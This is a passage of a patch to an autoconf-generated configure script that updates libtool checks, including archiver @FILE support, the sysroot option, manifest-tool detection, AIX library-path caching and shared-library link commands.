++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6153,8 +6405,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6170,7 +6424,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6190,11 +6444,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6210,7 +6468,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6229,6 +6487,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6240,25 +6502,20 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
+
+
+
+@@ -6269,6 +6526,63 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
+
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+@@ -6609,8 +6923,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6646,6 +6960,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6687,6 +7002,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6698,7 +7025,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6724,8 +7051,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6735,8 +7062,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6773,6 +7100,14 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
+
+
+
+@@ -6791,6 +7126,47 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
++
++
+
+
+
+@@ -7000,6 +7376,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7563,6 +8056,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8117,8 +8612,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8284,6 +8777,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8346,7 +8845,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8403,13 +8902,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8470,6 +8973,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8820,7 +9328,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8919,12 +9428,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8938,8 +9447,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8957,8 +9466,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9004,8 +9513,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9135,7 +9644,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9148,22 +9663,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9175,7 +9697,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9188,22 +9716,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9248,20 +9783,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
